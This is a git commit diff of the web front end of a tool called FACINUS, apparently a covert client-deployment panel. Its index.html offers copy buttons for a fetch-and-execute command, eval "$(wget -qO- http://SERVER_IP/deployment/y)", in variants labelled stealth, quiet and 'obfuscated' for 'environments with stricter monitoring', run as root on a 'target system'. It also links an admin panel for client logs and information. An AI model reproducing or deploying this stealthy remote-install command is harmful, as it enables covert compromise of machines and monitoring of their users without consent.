oh shit, everything was broken for whole time, i just noticed it and broke everything even worse. Updated design
This commit is contained in:
1108
web/admin.php
1108
web/admin.php
File diff suppressed because it is too large
Load Diff
345
web/index.html
345
web/index.html
@@ -3,21 +3,15 @@
|
|||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>FACINUS Deployment</title>
|
<title>FACINUS</title>
|
||||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||||||
<style>
|
<style>
|
||||||
:root {
|
:root {
|
||||||
--primary: #3498db;
|
--bg: #111111;
|
||||||
--primary-dark: #2980b9;
|
--text: #33ff33;
|
||||||
--accent: #e74c3c;
|
--secondary: #aaaaaa;
|
||||||
--accent-dark: #c0392b;
|
--border: #333333;
|
||||||
--text: #2c3e50;
|
--hover: #222222;
|
||||||
--text-light: #7f8c8d;
|
|
||||||
--bg: #f5f7fa;
|
|
||||||
--card-bg: #ffffff;
|
|
||||||
--border: #e0e6ed;
|
|
||||||
--success: #2ecc71;
|
|
||||||
--command-bg: #f1f5f9;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
* {
|
* {
|
||||||
@@ -27,279 +21,196 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
body {
|
body {
|
||||||
font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, Oxygen, Ubuntu, sans-serif;
|
font-family: 'Courier New', monospace;
|
||||||
color: var(--text);
|
|
||||||
background-color: var(--bg);
|
background-color: var(--bg);
|
||||||
line-height: 1.6;
|
color: var(--text);
|
||||||
}
|
line-height: 1.5;
|
||||||
|
padding: 20px;
|
||||||
.container {
|
max-width: 900px;
|
||||||
max-width: 1000px;
|
|
||||||
margin: 0 auto;
|
margin: 0 auto;
|
||||||
padding: 0 20px;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.header {
|
pre {
|
||||||
background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%);
|
font-family: 'Courier New', monospace;
|
||||||
color: white;
|
overflow-x: auto;
|
||||||
padding: 20px 0;
|
white-space: pre;
|
||||||
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
}
|
||||||
|
|
||||||
|
.ascii-header {
|
||||||
margin-bottom: 30px;
|
margin-bottom: 30px;
|
||||||
}
|
font-size: 12px;
|
||||||
|
line-height: 1.2;
|
||||||
.header h1 {
|
|
||||||
font-weight: 600;
|
|
||||||
font-size: 28px;
|
|
||||||
margin: 0;
|
|
||||||
letter-spacing: 0.5px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.header p {
|
|
||||||
opacity: 0.9;
|
|
||||||
margin-top: 5px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.card {
|
|
||||||
background: var(--card-bg);
|
|
||||||
border-radius: 8px;
|
|
||||||
box-shadow: 0 2px 15px rgba(0, 0, 0, 0.05);
|
|
||||||
padding: 25px;
|
|
||||||
margin-bottom: 30px;
|
|
||||||
border: 1px solid var(--border);
|
|
||||||
transition: transform 0.2s ease, box-shadow 0.2s ease;
|
|
||||||
}
|
|
||||||
|
|
||||||
.card:hover {
|
|
||||||
transform: translateY(-2px);
|
|
||||||
box-shadow: 0 5px 20px rgba(0, 0, 0, 0.08);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
h2 {
|
h2 {
|
||||||
font-size: 22px;
|
margin: 20px 0;
|
||||||
font-weight: 600;
|
border-bottom: 1px dashed var(--border);
|
||||||
color: var(--text);
|
padding-bottom: 5px;
|
||||||
margin-bottom: 15px;
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
h2 i {
|
|
||||||
margin-right: 12px;
|
|
||||||
color: var(--primary);
|
|
||||||
}
|
|
||||||
|
|
||||||
p {
|
|
||||||
margin-bottom: 15px;
|
|
||||||
color: var(--text-light);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.command {
|
.command {
|
||||||
background: var(--command-bg);
|
background: rgba(0, 0, 0, 0.3);
|
||||||
border-radius: 6px;
|
|
||||||
padding: 18px;
|
|
||||||
font-family: 'Courier New', monospace;
|
|
||||||
margin: 20px 0;
|
|
||||||
position: relative;
|
|
||||||
border: 1px solid var(--border);
|
border: 1px solid var(--border);
|
||||||
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05);
|
padding: 10px;
|
||||||
|
margin: 15px 0;
|
||||||
|
position: relative;
|
||||||
overflow-x: auto;
|
overflow-x: auto;
|
||||||
white-space: nowrap;
|
white-space: nowrap;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.command-prompt::before {
|
||||||
|
content: "$ ";
|
||||||
|
opacity: 0.7;
|
||||||
|
}
|
||||||
|
|
||||||
.copy-btn {
|
.copy-btn {
|
||||||
position: absolute;
|
position: absolute;
|
||||||
right: 10px;
|
right: 10px;
|
||||||
top: 10px;
|
top: 7px;
|
||||||
background: var(--primary);
|
background: transparent;
|
||||||
color: white;
|
color: var(--secondary);
|
||||||
border: none;
|
border: 1px solid var(--border);
|
||||||
border-radius: 4px;
|
border-radius: 3px;
|
||||||
padding: 6px 12px;
|
padding: 3px 8px;
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
font-size: 14px;
|
font-size: 12px;
|
||||||
transition: background 0.2s ease;
|
font-family: 'Courier New', monospace;
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
.copy-btn i {
|
|
||||||
margin-right: 5px;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.copy-btn:hover {
|
.copy-btn:hover {
|
||||||
background: var(--primary-dark);
|
background: var(--hover);
|
||||||
|
color: var(--text);
|
||||||
}
|
}
|
||||||
|
|
||||||
.options {
|
.options {
|
||||||
display: grid;
|
display: grid;
|
||||||
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
|
||||||
gap: 20px;
|
gap: 15px;
|
||||||
|
margin: 20px 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
.option-box {
|
.option-box {
|
||||||
border: 1px solid var(--border);
|
border: 1px solid var(--border);
|
||||||
border-radius: 6px;
|
padding: 15px;
|
||||||
padding: 20px;
|
background: rgba(0, 0, 0, 0.3);
|
||||||
transition: all 0.2s ease;
|
|
||||||
background: var(--card-bg);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.option-box:hover {
|
.option-box:hover {
|
||||||
border-color: var(--primary);
|
background: var(--hover);
|
||||||
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.05);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.option-title {
|
.option-title {
|
||||||
font-weight: 600;
|
|
||||||
margin-bottom: 10px;
|
margin-bottom: 10px;
|
||||||
color: var(--text);
|
font-weight: bold;
|
||||||
font-size: 17px;
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.option-title i {
|
.note {
|
||||||
margin-right: 8px;
|
border-left: 2px solid var(--text);
|
||||||
color: var(--primary);
|
padding-left: 10px;
|
||||||
|
margin: 15px 0;
|
||||||
|
color: var(--secondary);
|
||||||
}
|
}
|
||||||
|
|
||||||
.admin-link {
|
.admin-link {
|
||||||
display: inline-block;
|
display: inline-block;
|
||||||
background: var(--primary);
|
margin-top: 20px;
|
||||||
color: white;
|
padding: 8px 15px;
|
||||||
padding: 12px 24px;
|
background: transparent;
|
||||||
|
color: var(--text);
|
||||||
|
border: 1px solid var(--text);
|
||||||
text-decoration: none;
|
text-decoration: none;
|
||||||
border-radius: 6px;
|
font-family: 'Courier New', monospace;
|
||||||
font-weight: 500;
|
|
||||||
margin-top: 10px;
|
|
||||||
transition: background 0.2s ease;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.admin-link:hover {
|
.admin-link:hover {
|
||||||
background: var(--primary-dark);
|
background: rgba(51, 255, 51, 0.1);
|
||||||
}
|
}
|
||||||
|
|
||||||
.note {
|
@media (max-width: 600px) {
|
||||||
display: flex;
|
|
||||||
align-items: flex-start;
|
|
||||||
background: rgba(52, 152, 219, 0.1);
|
|
||||||
padding: 12px 15px;
|
|
||||||
border-radius: 6px;
|
|
||||||
margin-top: 15px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.note i {
|
|
||||||
color: var(--primary);
|
|
||||||
margin-right: 10px;
|
|
||||||
margin-top: 2px;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
|
||||||
.options {
|
.options {
|
||||||
grid-template-columns: 1fr;
|
grid-template-columns: 1fr;
|
||||||
}
|
}
|
||||||
|
|
||||||
.header h1 {
|
.ascii-header {
|
||||||
font-size: 24px;
|
font-size: 8px;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
</style>
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<div class="header">
|
<div class="ascii-header">
|
||||||
<div class="container">
|
<pre>
|
||||||
<h1><i class="fas fa-server"></i> FACINUS Deployment</h1>
|
____ __ ___ __ __ _ _ _ ____
|
||||||
<p>Secure client deployment system</p>
|
( __)/ _\ / __)( )( ( \/ )( \/ ___)
|
||||||
|
) _)/ \( (__ )( / /) \/ (\___ \
|
||||||
|
(__) \_/\_/ \___)(__)\_)__)\____/(____/
|
||||||
|
|
||||||
|
|
||||||
|
</pre>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2>> deployment</h2>
|
||||||
|
|
||||||
|
<div class="command">
|
||||||
|
<span class="command-prompt">eval "$(wget -qO- http://SERVER_IP/deployment/y)"</span>
|
||||||
|
<button class="copy-btn" onclick="copyToClipboard('cmd1')">copy</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="note">
|
||||||
|
requires root access. runs in stealth mode by default.
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h2>> options</h2>
|
||||||
|
|
||||||
|
<div class="options">
|
||||||
|
<div class="option-box">
|
||||||
|
<div class="option-title">> minimal</div>
|
||||||
|
<div class="command command-prompt">
|
||||||
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
|
<button class="copy-btn" onclick="copyToClipboard('cmd2')">copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="option-box">
|
||||||
|
<div class="option-title">> user mode</div>
|
||||||
|
<div class="command command-prompt">
|
||||||
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
|
<button class="copy-btn" onclick="copyToClipboard('cmd3')">copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="option-box">
|
||||||
|
<div class="option-title">> obfuscated</div>
|
||||||
|
<div class="command command-prompt">
|
||||||
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
|
<button class="copy-btn" onclick="copyToClipboard('cmd4')">copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="option-box">
|
||||||
|
<div class="option-title">> one-liner</div>
|
||||||
|
<div class="command command-prompt">
|
||||||
|
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
||||||
|
<button class="copy-btn" onclick="copyToClipboard('cmd5')">copy</button>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="container">
|
<h2>> admin</h2>
|
||||||
<div class="card">
|
<a href="admin.php" class="admin-link">$ access admin panel</a>
|
||||||
<h2><i class="fas fa-bolt"></i> Quick Setup</h2>
|
|
||||||
<p>Copy and paste this command into a terminal on the target system:</p>
|
|
||||||
|
|
||||||
<div class="command" id="cmd1">
|
|
||||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd1')">
|
|
||||||
<i class="fas fa-copy"></i> Copy
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="note">
|
|
||||||
<i class="fas fa-info-circle"></i>
|
|
||||||
<span><strong>Note:</strong> This will install with default settings and requires root access.</span>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="card">
|
|
||||||
<h2><i class="fas fa-cogs"></i> Installation Options</h2>
|
|
||||||
|
|
||||||
<div class="options">
|
|
||||||
<div class="option-box">
|
|
||||||
<div class="option-title"><i class="fas fa-feather"></i> Minimal Installation</div>
|
|
||||||
<p>For limited access without requiring root privileges:</p>
|
|
||||||
<div class="command" id="cmd2">
|
|
||||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd2')">
|
|
||||||
<i class="fas fa-copy"></i> Copy
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="option-box">
|
|
||||||
<div class="option-title"><i class="fas fa-box-open"></i> Full Installation</div>
|
|
||||||
<p>Complete installation with all features:</p>
|
|
||||||
<div class="command" id="cmd3">
|
|
||||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd3')">
|
|
||||||
<i class="fas fa-copy"></i> Copy
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="option-box">
|
|
||||||
<div class="option-title"><i class="fas fa-volume-mute"></i> Quiet Mode</div>
|
|
||||||
<p>Minimal output for stealthy installation:</p>
|
|
||||||
<div class="command" id="cmd4">
|
|
||||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
|
||||||
|
|
||||||
<i class="fas fa-copy"></i> Copy
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="option-box">
|
|
||||||
<div class="option-title"><i class="fas fa-user-secret"></i> Obfuscated Installation</div>
|
|
||||||
<p>For environments with stricter monitoring:</p>
|
|
||||||
<div class="command" id="cmd5">
|
|
||||||
eval "$(wget -qO- http://SERVER_IP/deployment/y)"
|
|
||||||
<button class="copy-btn" onclick="copyToClipboard('cmd5')">
|
|
||||||
<i class="fas fa-copy"></i> Copy
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="card">
|
|
||||||
<h2><i class="fas fa-user-shield"></i> Admin Access</h2>
|
|
||||||
<p>Access the admin panel for logs and client information:</p>
|
|
||||||
<a href="admin.php" class="admin-link"><i class="fas fa-sign-in-alt"></i> Admin Panel</a>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
function copyToClipboard(elementId) {
|
function copyToClipboard(elementId) {
|
||||||
const el = document.getElementById(elementId);
|
const el = document.querySelector(`#${elementId}`);
|
||||||
const text = el.innerText.split('\n')[0].trim();
|
const text = el ? el.innerText.split('\n')[0].trim() : document.querySelector('.command-prompt').innerText.trim();
|
||||||
|
|
||||||
navigator.clipboard.writeText(text).then(function() {
|
navigator.clipboard.writeText(text).then(function() {
|
||||||
const btn = el.querySelector('.copy-btn');
|
const btn = event.target;
|
||||||
const originalIcon = btn.innerHTML;
|
const originalText = btn.innerText;
|
||||||
btn.innerHTML = '<i class="fas fa-check"></i> Copied!';
|
btn.innerText = "copied!";
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
btn.innerHTML = originalIcon;
|
btn.innerText = originalText;
|
||||||
}, 2000);
|
}, 1000);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
|
215
web/web_setup.sh
215
web/web_setup.sh
@@ -44,225 +44,10 @@ setup_web_server() {
|
|||||||
sudo chmod 750 "$SERVER_ROOT/logs"
|
sudo chmod 750 "$SERVER_ROOT/logs"
|
||||||
sudo chmod 750 "$SERVER_ROOT/secrets"
|
sudo chmod 750 "$SERVER_ROOT/secrets"
|
||||||
|
|
||||||
# Copy web files
|
|
||||||
copy_web_files
|
|
||||||
|
|
||||||
# Configure web server
|
# Configure web server
|
||||||
configure_webserver
|
configure_webserver
|
||||||
}
|
}
|
||||||
|
|
||||||
copy_web_files() {
|
|
||||||
# Copy PHP files from the web directory to the server root
|
|
||||||
sudo cp -r "$WEB_DIR/"* "$SERVER_ROOT/"
|
|
||||||
|
|
||||||
# Add the theme CSS
|
|
||||||
create_theme_files
|
|
||||||
|
|
||||||
# Update configurations in files
|
|
||||||
sudo sed -i "s/TOKEN_PLACEHOLDER/$SECRET_TOKEN/g" "$SERVER_ROOT/log_receiver.php"
|
|
||||||
sudo sed -i "s/ADMIN_PASSWORD_PLACEHOLDER/$ADMIN_PASSWORD/g" "$SERVER_ROOT/admin.php"
|
|
||||||
|
|
||||||
# Update Server IP in the HTML files
|
|
||||||
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/index.html"
|
|
||||||
sudo sed -i "s/SERVER_IP/$SERVER_IP/g" "$SERVER_ROOT/admin.php"
|
|
||||||
|
|
||||||
# Set proper permissions
|
|
||||||
sudo chmod 640 "$SERVER_ROOT/admin.php"
|
|
||||||
sudo chmod 640 "$SERVER_ROOT/log_receiver.php"
|
|
||||||
}
|
|
||||||
|
|
||||||
create_theme_files() {
|
|
||||||
# Create dark theme CSS file
|
|
||||||
cat > "$TEMP_DIR/dark-theme.css" << 'EOF'
|
|
||||||
:root {
|
|
||||||
--bg-color: #1e1e1e;
|
|
||||||
--text-color: #e0e0e0;
|
|
||||||
--border-color: #444;
|
|
||||||
--header-bg: #252525;
|
|
||||||
--card-bg: #2d2d2d;
|
|
||||||
--link-color: #58a6ff;
|
|
||||||
--button-bg: #0d6efd;
|
|
||||||
--button-color: white;
|
|
||||||
--input-bg: #333;
|
|
||||||
--input-color: #e0e0e0;
|
|
||||||
--table-header-bg: #333;
|
|
||||||
--table-row-hover: #3a3a3a;
|
|
||||||
--code-bg: #2d2d2d;
|
|
||||||
--code-color: #e0e0e0;
|
|
||||||
}
|
|
||||||
|
|
||||||
body {
|
|
||||||
background-color: var(--bg-color);
|
|
||||||
color: var(--text-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
.container, .card, .login {
|
|
||||||
background-color: var(--card-bg);
|
|
||||||
border-color: var(--border-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
a {
|
|
||||||
color: var(--link-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
input, select, textarea {
|
|
||||||
background-color: var(--input-bg);
|
|
||||||
color: var(--input-color);
|
|
||||||
border-color: var(--border-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
button, .button {
|
|
||||||
background-color: var(--button-bg);
|
|
||||||
color: var(--button-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
table {
|
|
||||||
border-color: var(--border-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
th {
|
|
||||||
background-color: var(--table-header-bg);
|
|
||||||
}
|
|
||||||
|
|
||||||
tr:hover {
|
|
||||||
background-color: var(--table-row-hover);
|
|
||||||
}
|
|
||||||
|
|
||||||
.logs, pre, code, .command {
|
|
||||||
background-color: var(--code-bg);
|
|
||||||
color: var(--code-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
.secret {
|
|
||||||
background-color: #332;
|
|
||||||
border-color: #554;
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Create light theme CSS file
|
|
||||||
cat > "$TEMP_DIR/light-theme.css" << 'EOF'
|
|
||||||
:root {
|
|
||||||
--bg-color: #f2f2f2;
|
|
||||||
--text-color: #333;
|
|
||||||
--border-color: #ddd;
|
|
||||||
--header-bg: #f8f8f8;
|
|
||||||
--card-bg: #fff;
|
|
||||||
--link-color: #0066cc;
|
|
||||||
--button-bg: #0d6efd;
|
|
||||||
--button-color: white;
|
|
||||||
--input-bg: #fff;
|
|
||||||
--input-color: #333;
|
|
||||||
--table-header-bg: #f2f2f2;
|
|
||||||
--table-row-hover: #f8f8f8;
|
|
||||||
--code-bg: #f8f8f8;
|
|
||||||
--code-color: #333;
|
|
||||||
}
|
|
||||||
|
|
||||||
body {
|
|
||||||
background-color: var(--bg-color);
|
|
||||||
color: var(--text-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
.container, .card, .login {
|
|
||||||
background-color: var(--card-bg);
|
|
||||||
border-color: var(--border-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
a {
|
|
||||||
color: var(--link-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
input, select, textarea {
|
|
||||||
background-color: var(--input-bg);
|
|
||||||
color: var(--input-color);
|
|
||||||
border-color: var(--border-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
button, .button {
|
|
||||||
background-color: var(--button-bg);
|
|
||||||
color: var(--button-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
table {
|
|
||||||
border-color: var(--border-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
th {
|
|
||||||
background-color: var(--table-header-bg);
|
|
||||||
}
|
|
||||||
|
|
||||||
tr:hover {
|
|
||||||
background-color: var(--table-row-hover);
|
|
||||||
}
|
|
||||||
|
|
||||||
.logs, pre, code, .command {
|
|
||||||
background-color: var(--code-bg);
|
|
||||||
color: var(--code-color);
|
|
||||||
}
|
|
||||||
|
|
||||||
.secret {
|
|
||||||
background-color: #ffe;
|
|
||||||
border-color: #ddc;
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
sudo cp "$TEMP_DIR/dark-theme.css" "$SERVER_ROOT/css/dark-theme.css"
|
|
||||||
sudo cp "$TEMP_DIR/light-theme.css" "$SERVER_ROOT/css/light-theme.css"
|
|
||||||
|
|
||||||
# Create theme switcher JS
|
|
||||||
cat > "$TEMP_DIR/theme-switcher.js" << 'EOF'
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
// Check for saved theme preference or use preferred color scheme
|
|
||||||
const savedTheme = localStorage.getItem('theme') ||
|
|
||||||
(window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light');
|
|
||||||
|
|
||||||
// Apply the theme
|
|
||||||
document.documentElement.setAttribute('data-theme', savedTheme);
|
|
||||||
|
|
||||||
// Create theme toggle button
|
|
||||||
const themeToggle = document.createElement('button');
|
|
||||||
themeToggle.id = 'theme-toggle';
|
|
||||||
themeToggle.innerHTML = savedTheme === 'dark' ? '☀️' : '🌙';
|
|
||||||
themeToggle.style.position = 'fixed';
|
|
||||||
themeToggle.style.bottom = '20px';
|
|
||||||
themeToggle.style.right = '20px';
|
|
||||||
themeToggle.style.borderRadius = '50%';
|
|
||||||
themeToggle.style.width = '50px';
|
|
||||||
themeToggle.style.height = '50px';
|
|
||||||
themeToggle.style.fontSize = '24px';
|
|
||||||
themeToggle.style.cursor = 'pointer';
|
|
||||||
themeToggle.style.border = 'none';
|
|
||||||
themeToggle.style.boxShadow = '0 2px 5px rgba(0,0,0,0.2)';
|
|
||||||
themeToggle.style.zIndex = '1000';
|
|
||||||
|
|
||||||
document.body.appendChild(themeToggle);
|
|
||||||
|
|
||||||
// Update link element
|
|
||||||
const themeLink = document.getElementById('theme-stylesheet');
|
|
||||||
themeLink.href = `css/${savedTheme}-theme.css`;
|
|
||||||
|
|
||||||
// Theme toggle functionality
|
|
||||||
themeToggle.addEventListener('click', function() {
|
|
||||||
const currentTheme = document.documentElement.getAttribute('data-theme');
|
|
||||||
const newTheme = currentTheme === 'dark' ? 'light' : 'dark';
|
|
||||||
|
|
||||||
document.documentElement.setAttribute('data-theme', newTheme);
|
|
||||||
themeLink.href = `css/${newTheme}-theme.css`;
|
|
||||||
themeToggle.innerHTML = newTheme === 'dark' ? '☀️' : '🌙';
|
|
||||||
|
|
||||||
// Save preference
|
|
||||||
localStorage.setItem('theme', newTheme);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
EOF
|
|
||||||
|
|
||||||
sudo cp "$TEMP_DIR/theme-switcher.js" "$SERVER_ROOT/assets/theme-switcher.js"
|
|
||||||
|
|
||||||
# Update HTML files to include theme
|
|
||||||
sudo sed -i '/<\/head>/i \ <link id="theme-stylesheet" rel="stylesheet" href="css/light-theme.css">\n <script src="assets/theme-switcher.js"></script>' "$SERVER_ROOT/index.html"
|
|
||||||
sudo sed -i '/<\/head>/i \ <link id="theme-stylesheet" rel="stylesheet" href="css/light-theme.css">\n <script src="../assets/theme-switcher.js"></script>' "$SERVER_ROOT/admin.php"
|
|
||||||
}
|
|
||||||
|
|
||||||
configure_webserver() {
|
configure_webserver() {
|
||||||
case "$DISTRO" in
|
case "$DISTRO" in
|
||||||
arch)
|
arch)
|
||||||
|
Reference in New Issue
Block a user